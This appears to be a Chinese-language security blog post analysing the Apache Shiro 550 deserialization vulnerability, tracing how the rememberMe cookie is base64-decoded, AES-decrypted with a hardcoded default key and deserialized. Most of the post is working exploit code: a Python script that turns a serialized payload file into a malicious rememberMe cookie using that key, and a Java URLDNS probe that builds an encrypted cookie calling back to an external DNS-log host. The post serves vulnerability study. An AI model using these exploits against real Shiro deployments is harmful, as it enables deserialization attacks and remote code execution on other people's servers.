shiro550

简介

该漏洞的原因是因为固定的key 加密

分析

通过搜索cookie 就可以很快的发现这个类

img

然后通过分析发现里面存在

rememberSerializedIdentity 这个明显是一个序列化的过程

img

既然存在序列化的过程那么肯定存在反序列化的过程

img

发现确实存在这个

这个的函数其实很简单就是将这个base64解码之后然后返回给其他函数

我们可以尝试找一下在哪里调用了这个

img

从函数的名字其实就可以发现获取认证信息

那么看看如何获取的详细信息

img

然后继续

看convertBytesToPrincipals

img

发现是要给解密然后反序列化

这个时候其实就可以断定这个存在问题了

因为这个反序列化的对象是我们可控的,然后这个就会自动的进行反序列化操作

可以看一下解密的地方

img

img

通过签名可以猜测出是要给对称加密

可以尝试找一个key 是什么

img

img

img

一直往上找的话会找到

img

由于找到了这个key 可以从注释中发现是aes 加密,这个导致了我们可以任意的去操控这个cookie 从而导致反序列化漏洞

复制到利用工具中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
import base64
import sys
from Crypto.Cipher import AES
import uuid
import codecs

class Shiro550CookieGenerator:
def __init__(self, key, ser_file):
"""初始化Shiro cookie生成器"""
self.key = key
self.ser_file = ser_file
# 确保密钥长度为16字节(AES-128)
self.key = self._pad_key(key)

def _pad_key(self, key):
"""填充密钥到16字节"""
key = key.encode('utf-8') if isinstance(key, str) else key
if len(key) < 16:
key += b'\0' * (16 - len(key))
return key[:16]

def _encrypt(self, data):
"""使用AES算法加密数据"""
# 使用CBC模式,IV为16个0
iv = b'\0' * 16
cipher = AES.new(self.key, AES.MODE_CBC, iv)

# 填充数据到16字节的倍数
data = self._pkcs7_pad(data)

# 加密数据
encrypted = cipher.encrypt(data)
return encrypted

def _pkcs7_pad(self, data):
"""PKCS7填充"""
block_size = 16
padding = block_size - (len(data) % block_size)
return data + bytes([padding]) * padding

def generate_cookie(self):
"""生成Shiro RememberMe cookie"""
try:
# 从文件读取序列化数据
with open(self.ser_file, 'rb') as f:
serialized_data = f.read()

# 加密序列化数据
encrypted_data = self._encrypt(serialized_data)

# 进行Base64编码
base64_encrypted = base64.b64encode(encrypted_data)

# 构造RememberMe cookie值
# Shiro RememberMe cookie格式: base64(encrypted_data)
remember_me_cookie = base64_encrypted.decode('utf-8')

# 生成JSESSIONID(可选)
jsession_id = str(uuid.uuid4())

return {
'rememberMe': remember_me_cookie,
'JSESSIONID': jsession_id
}

except Exception as e:
print(f"生成cookie时出错: {e}")
return None

def print_cookie_info(cookie):
"""格式化输出cookie信息"""
if not cookie:
return

print("\n===== 生成的Shiro Cookie信息 =====")
print(f"rememberMe: {cookie['rememberMe']}")
print(f"JSESSIONID: {cookie['JSESSIONID']}")
print("\n===== HTTP请求头示例 =====")
print(f"Cookie: rememberMe={cookie['rememberMe']}; JSESSIONID={cookie['JSESSIONID']}")
print("================================\n")

def main():
"""主函数"""
# 硬编码的AES密钥(此处为示例密钥,实际使用时请替换为目标系统的密钥)
hardcoded_key = "kPH+bIxk5D2deZiIxcaaaA=="

# 检查是否提供了ser.bin文件路径
if len(sys.argv) < 2:
print("用法: python exp.py <ser.bin文件路径>")
print("示例: python exp.py ./ser.bin")
return

ser_file = sys.argv[1]

# 创建Shiro cookie生成器
generator = Shiro550CookieGenerator(hardcoded_key, ser_file)

# 生成cookie
cookie = generator.generate_cookie()

# 输出cookie信息
print_cookie_info(cookie)

if __name__ == "__main__":
main()

Shiro 依赖分析

由于shiro 本身是没有cc 的,支撑尝试攻击一下cb 和Java 本身的链子

测试

我们可以通过DNSURL 这条链子判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package org.apache.shiro;

import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.crypto.CipherService;
import org.apache.shiro.util.ByteSource;
import sun.misc.BASE64Decoder;
import sun.misc.BASE64Encoder;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.FileWriter;
import java.io.ObjectOutputStream;
import java.io.StringReader;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

//TIP 要<b>运行</b>代码,请按 <shortcut actionId="Run"/> 或
// 点击装订区域中的 <icon src="AllIcons.Actions.Execute"/> 图标。
public class Main {
public static void main(java.lang.String[] args) throws Exception {
String AesKey = "kPH+bIxk5D2deZiIxcaaaA==";
CipherService cipherService = new AesCipherService();
byte[] key = new BASE64Decoder().decodeBuffer(AesKey);
Cipher cip = Cipher.getInstance("AES");
SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
cip.init(Cipher.ENCRYPT_MODE, skeySpec);
HashMap ht = new HashMap();
URL u = new URL("http://0ce66042bb.ddns.1433.eu.org.");
// setFieldValue(u, "hashCode", 11);
Class<? extends URL> urlClass = u.getClass();
Field hashCodeField = urlClass.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(u, 111);

ht.put(u, "1");

hashCodeField.set(u, -1);

ByteOutputStream bos = new ByteOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(ht);

ByteSource encrypted = cipherService.encrypt(bos.getBytes(), key);

String base64en = new BASE64Encoder().encode(encrypted.getBytes());
base64en = base64en.replace("\r\n", "");
base64en = base64en.replace("\t", "");
FileWriter fos = new FileWriter("ser.txt");
StringReader sr = new StringReader(base64en);

fos.write(base64en);
fos.close();
}
}

最后将ser.txt 输出内容替换成remenberme


shiro550
https://tsy244.github.io/2025/10/10/java安全/shiro550/
Author
August Rosenberg
Posted on
October 10, 2025
Licensed under